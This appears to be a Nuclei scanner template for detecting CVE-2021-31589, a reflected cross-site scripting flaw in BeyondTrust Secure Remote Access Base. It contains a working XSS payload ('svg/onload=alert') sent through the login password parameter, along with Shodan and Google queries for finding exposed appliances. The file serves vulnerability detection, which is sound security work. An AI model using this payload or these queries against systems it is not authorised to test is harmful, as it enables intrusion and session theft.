54 lines
2.3 KiB
YAML
54 lines
2.3 KiB
YAML
id: CVE-2021-31589
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info:
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name: BeyondTrust Secure Remote Access Base <=6.0.1 - Cross-Site Scripting
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author: Ahmed Abou-Ela
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severity: medium
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description: BeyondTrust Secure Remote Access Base through 6.0.1 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, data theft, or defacement.
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remediation: |
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Upgrade to a patched version of BeyondTrust Secure Remote Access Base (6.0.2 or higher) that addresses the XSS vulnerability.
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reference:
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- https://packetstormsecurity.com/files/165408
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- https://cxsecurity.com/issue/WLB-2022010013
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- https://beyondtrustcorp.service-now.com/csm?sys_kb_id=922d0ab31bc1b490e73854ae034bcb7b&id=kb_article_view&sysparm_rank=1&sysparm_tsqueryId=64fc14ffdb8f70d422725385ca9619cb
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- https://www.beyondtrust.com/docs/release-notes/index.htm
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- https://nvd.nist.gov/vuln/detail/CVE-2021-31589
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-31589
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cwe-id: CWE-79
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epss-score: 0.00286
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epss-percentile: 0.68716
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cpe: cpe:2.3:o:beyondtrust:appliance_base_software:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: beyondtrust
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product: appliance_base_software
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shodan-query: 'set-cookie: nsbase_session'
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google-query:
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- '"BeyondTrust" "Redistribution Prohibited"'
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- '"beyondtrust" "redistribution prohibited"'
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tags: cve,cve2021,xss,packetstorm,beyondtrust,bomgar
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http:
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- method: GET
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path:
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- "{{BaseURL}}/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '<svg/onload=alert(document.domain)>'
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- 'bomgar'
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case-insensitive: true
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condition: and
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- type: status
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status:
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- 200
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# digest: 4a0a004730450221008311012108a6f2dd810972b248dcf42d0c33ead20d3a6d5e52e6c04d28f4e46002201f8e614aae65b077d9c0f8569ae4a9c9d10a97b17d2b28a8a3435a0e53ef3377:922c64590222798bb761d5b6d8e72950 |